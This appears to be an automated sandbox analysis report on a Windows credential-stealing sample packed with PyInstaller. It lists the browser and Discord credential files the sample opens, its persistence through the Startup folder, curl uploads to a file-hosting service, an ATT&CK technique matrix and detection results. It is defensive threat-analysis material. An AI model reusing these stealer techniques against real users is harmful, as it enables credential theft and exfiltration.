Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhmJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
Tries to steal communication platform credentials (via file / registry access)
Source: C:\Users\user\Desktop\chos.exeFile opened: C:\Users\user\AppData\Local\DiscordJump to behavior
Source: C:\Users\user\Desktop\chos.exeFile opened: C:\Users\user\AppData\Local\DiscordCanaryJump to behavior
Source: C:\Users\user\Desktop\chos.exeFile opened: C:\Users\user\AppData\Local\DiscordPTBJump to behavior
Source: C:\Users\user\Desktop\chos.exeFile opened: C:\Users\user\AppData\Local\DiscordDevelopmentJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\DiscordJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\DiscordCanaryJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\DiscordPTBJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\DiscordDevelopmentJump to behavior

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts11
Windows Management Instrumentation		12
Registry Run Keys / Startup Folder		11
Process Injection		1
Masquerading		1
OS Credential Dumping		2
System Time Discovery		Remote Services1
Email Collection		11
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault Accounts1
Native API		1
DLL Side-Loading		12
Registry Run Keys / Startup Folder		11
Process Injection		LSASS Memory31
Security Software Discovery		Remote Desktop Protocol1
Archive Collected Data		2
Non-Application Layer Protocol		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		Security Account Manager1
Process Discovery		SMB/Windows Admin Shares1
Data from Local System		3
Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
Obfuscated Files or Information		NTDS1
System Network Configuration Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
Timestomp		LSA Secrets2
File and Directory Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials24
System Information Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1574329 Sample: chos.exe Startdate: 13/12/2024 Architecture: WINDOWS Score: 80 84 geolocation-db.com 2->84 86 store4.gofile.io 2->86 88 3 other IPs or domains 2->88 98 Antivirus / Scanner detection for submitted sample 2->98 100 Multi AV Scanner detection for submitted file 2->100 102 AI detected suspicious sample 2->102 104 Found pyInstaller with non standard icon 2->104 10 chos.exe 117 2->10         started        14 chos.exe 117 2->14         started        signatures3 106 Tries to detect the country of the analysis system (by using the IP) 84->106 process4 file5 62 C:\Users\user\AppData\...\unicodedata.pyd, PE32+ 10->62 dropped 64 C:\Users\user\AppData\Local\...\sqlite3.dll, PE32+ 10->64 dropped 66 C:\Users\user\AppData\Local\...\select.pyd, PE32+ 10->66 dropped 74 68 other files (none is malicious) 10->74 dropped 108 Drops PE files to the startup folder 10->108 110 Found pyInstaller with non standard icon 10->110 16 chos.exe 11 10->16         started        68 C:\Users\user\AppData\...\unicodedata.pyd, PE32+ 14->68 dropped 70 C:\Users\user\AppData\Local\...\sqlite3.dll, PE32+ 14->70 dropped 72 C:\Users\user\AppData\Local\...\select.pyd, PE32+ 14->72 dropped 76 68 other files (none is malicious) 14->76 dropped 21 chos.exe 5 14->21         started        signatures6 process7 dnsIp8 78 geolocation-db.com 159.89.102.253, 443, 49711, 49742 DIGITALOCEAN-ASNUS United States 16->78 80 api.ipify.org 104.26.12.205, 443, 49707, 49738 CLOUDFLARENETUS United States 16->80 82 2 other IPs or domains 16->82 60 C:\Users\user\AppData\Roaming\...\chos.exe, PE32+ 16->60 dropped 23 cmd.exe 1 16->23         started        25 cmd.exe 1 16->25         started        27 cmd.exe 1 16->27         started        35 4 other processes 16->35 94 Tries to harvest and steal browser information (history, passwords, etc) 21->94 96 Tries to steal communication platform credentials (via file / registry access) 21->96 29 cmd.exe 21->29         started        31 cmd.exe 21->31         started        33 cmd.exe 21->33         started        37 4 other processes 21->37 file9 signatures10 process11 process12 44 2 other processes 23->44 39 curl.exe 1 25->39         started        42 conhost.exe 25->42         started        46 2 other processes 27->46 48 2 other processes 29->48 50 2 other processes 31->50 52 2 other processes 33->52 54 8 other processes 35->54 56 8 other processes 37->56 dnsIp13 90 store4.gofile.io 31.14.70.245, 443, 49715, 49720 LINKER-ASFR Virgin Islands (BRITISH) 39->90 92 127.0.0.1 unknown unknown 39->92 58 conhost.exe 44->58         started        process14

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
chos.exe37%ReversingLabsWin64.Trojan.Generic
chos.exe100%AviraTR/ATRAPS.Gen

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_ARC4.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_Salsa20.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_chacha20.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_pkcs1_decode.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_aes.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_aesni.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_arc2.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_blowfish.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cast.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cbc.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cfb.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ctr.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_des.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_des3.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ecb.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_eksblowfish.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ocb.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ofb.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_BLAKE2b.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_BLAKE2s.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_MD2.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_MD4.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_MD5.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_RIPEMD160.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA1.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA224.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA256.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA384.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA512.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_ghash_clmul.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_ghash_portable.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_keccak.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_poly1305.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Math\_modexp.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Protocol\_scrypt.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_curve25519.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_curve448.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ec_ws.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ed25519.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ed448.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Util\_cpuid_c.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Util\_strxor.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\VCRUNTIME140.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\VCRUNTIME140_1.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_asyncio.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_bz2.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_cffi_backend.cp313-win_amd64.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_ctypes.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_decimal.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_hashlib.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_lzma.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_multiprocessing.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_overlapped.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_queue.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_socket.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_sqlite3.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_ssl.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_uuid.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\_wmi.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer\md.cp313-win_amd64.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer\md__mypyc.cp313-win_amd64.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography\hazmat\bindings\_rust.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\libcrypto-3.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\libffi-8.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\libssl-3.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\pyexpat.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\python3.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\python313.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74682\select.pyd0%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr:r;Nr0%Avira URL Cloudsafe
http://cacerts.digD0%Avira URL Cloudsafe
https://urllib3.rQ0%Avira URL Cloudsafe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN0%Avira URL Cloudsafe
http://hg.python.or0%Avira URL Cloudsafe
https://www-cs-faculty.stanford.edu/~knuth/fasc2a.ps.gz0%Avira URL Cloudsafe
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr:0%Avira URL Cloudsafe
https://store4.gofile.io.uploadFile0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
store4.gofile.io
31.14.70.245
truefalse
    		high
    discord.com
    		162.159.138.232
    		truefalse
      		high
      api.ipify.org
      		104.26.12.205
      		truefalse
        		high
        geolocation-db.com
        		159.89.102.253
        		truefalse
          		high
          api.gofile.io
          		45.112.123.126
          		truefalse
            		high

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr:r;Nrchos.exe, 00000002.00000003.1463557293.00000159557A1000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1464049106.00000159557E0000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1463557293.00000159557E0000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1683693472.00000211B7CEA000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1683693472.00000211B7CAB000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://store4.gofile.io/uploadFilelesCommonProgramFiles(x86)=C:cmd.exe, 0000002F.00000002.1912110090.00000263A5EEB000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              https://github.com/astral-sh/ruffchos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                		high
                https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svgchos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  https://github.com/python/importlib_metadatachos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/charliermarsh/ruff/main/assetschos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high
                      https://github.com/python/importlib_metadata/issueschos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        https://github.com/pyca/cryptography/actions?query=workflow%3ACIchos.exe, 00000000.00000003.1436317355.0000018B76865000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-filechos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            https://store4.gofile.io/uploadFileE_STRIcmd.exe, 0000000B.00000002.1654909983.000001B935030000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.1874357586.000001F529500000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              https://importlib-metadata.readthedocs.io/chos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://tools.ietf.org/html/rfc2388#section-4.4chos.exe, 00000011.00000003.1703493750.00000211B80F1000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B80B9000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://www.apache.org/licenses/LICENSE-2.0chos.exe, 00000000.00000003.1440271500.0000018B76870000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1654672093.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1654867803.00000243B8851000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64chos.exe, 00000002.00000003.1478340357.00000159554E7000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1475894863.00000159554F4000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1471717663.000001595555C000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1477382744.00000159554E8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1473331391.0000015955563000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1475182879.00000159554E7000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1464161587.0000015955561000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1466781370.00000159554F6000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1474442517.00000159554F6000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1479078693.00000159554EC000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1476788640.00000159554E7000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1472058557.00000159554F6000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1464863437.0000015955567000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1686397139.00000211B7B50000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://store4.gofile.io/uploadFileBcurl.exe, 00000009.00000002.1627146371.000001791A2F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://packaging.python.org/en/latest/specifications/entry-points/#file-formatchos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://readthedocs.org/projects/importlib-metadata/badge/?version=latestchos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://store4.gofile.io/uploadFileRIecmd.exe, 0000000E.00000002.1682888587.000001376ACB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://store4.gofile.io/uploadFile;curl.exe, 00000031.00000002.1909714243.0000028AD0A71000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://store4.gofile.io/uploadFile:curl.exe, 00000010.00000002.1681576960.000001DB46B78000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://store4.gofile.io/uploadFilecnwTcurl.exe, 00000009.00000002.1627146371.000001791A301000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://store4.gofile.io/uploadFile=curl.exe, 00000031.00000002.1909714243.0000028AD0A71000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://cacerts.digichos.exe, 00000000.00000002.1897980712.0000018B7686F000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428724868.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1645041537.00000243B8850000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.2119017318.00000243B8850000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://blog.jaraco.com/skeletonchos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://store4.gofile.io/uploadFileilcurl.exe, 00000010.00000002.1681576960.000001DB46B78000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://store4.gofile.io/uploadFile2curl.exe, 0000000D.00000002.1653713527.000001C952E13000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://store4.gofile.io/uploadFileSTRIcmd.exe, 00000007.00000002.1628261798.00000160E36C0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://peps.python.org/pep-0205/chos.exe, 00000002.00000003.1454831606.0000015955021000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1684253672.00000211B7C23000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1671407326.00000211B77D1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://store4.gofile.io/uploadFileWinsta0curl.exe, 00000009.00000002.1627146371.000001791A2F0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.1653713527.000001C952E00000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000002.1681576960.000001DB46B70000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://crl.dhimyotis.com/certignarootca.crlchos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://store4.gofile.io/uploadFile6curl.exe, 00000010.00000003.1680521172.000001DB46BB4000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.1679836877.000001DB46BB3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000002.1681979811.000001DB46BB4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr:chos.exe, 00000002.00000003.1463557293.00000159557A1000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1464049106.00000159557E0000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1463557293.00000159557E0000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1683693472.00000211B7CEA000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1683693472.00000211B7CAB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        • Avira URL Cloud: safe
                                                                        		unknown
                                                                        https://store4.gofile.io/uploadFilerHwcmd.exe, 0000000B.00000002.1654510529.000001B934D32000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filenamechos.exe, 00000011.00000003.1674571294.00000211B77F5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1680761245.00000211B77FD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxychos.exe, 00000011.00000003.1703174546.00000211B826C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688chos.exe, 00000002.00000003.1475946213.000001595504E000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1459809442.0000015955050000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1462947420.0000015955051000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1460938016.0000015955051000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://store4.gofile.io/uploadFilee28curl.exe, 00000010.00000002.1681576960.000001DB46B70000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://store4.gofile.io/uploadFileuQUTcurl.exe, 00000009.00000002.1627252326.000001791A333000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626937486.000001791A333000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626823097.000001791A332000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://httpbin.org/getchos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B80B9000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1738579625.00000211B81AA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://store4.gofile.io/uploadFileal5curl.exe, 00000010.00000002.1681576960.000001DB46B78000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://cacerts.digchos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428914450.0000018B7686F000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428547743.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641621400.00000243B8849000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1644716975.00000243B8850000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1645659691.00000243B8850000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641645391.00000243B8850000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-accesschos.exe, 00000002.00000003.1474920426.0000015955806000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1464699665.0000015955808000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1464049106.00000159557E0000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1476206451.0000015955806000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1473785976.0000015955806000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1477854412.0000015955806000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1466452584.0000015955806000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1463649027.000001595553D000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1463557293.00000159557E0000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1684802316.00000211B7CEA000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1687566933.00000211B7C8A000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1683693472.00000211B7CEA000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1739472575.00000211B7CFC000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1687022873.00000211B7D12000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1687448661.00000211B7CEA000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1688348710.00000211B7CEA000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1684802316.00000211B7C8A000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1698029672.00000211B7CED000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1689458854.00000211B7CEA000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1700987509.00000211B7CFC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://store4.gofile.io/uploadFileZcurl.exe, 0000000D.00000003.1652926439.000001C952E42000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1653074745.000001C952E43000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.1653713527.000001C952E43000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
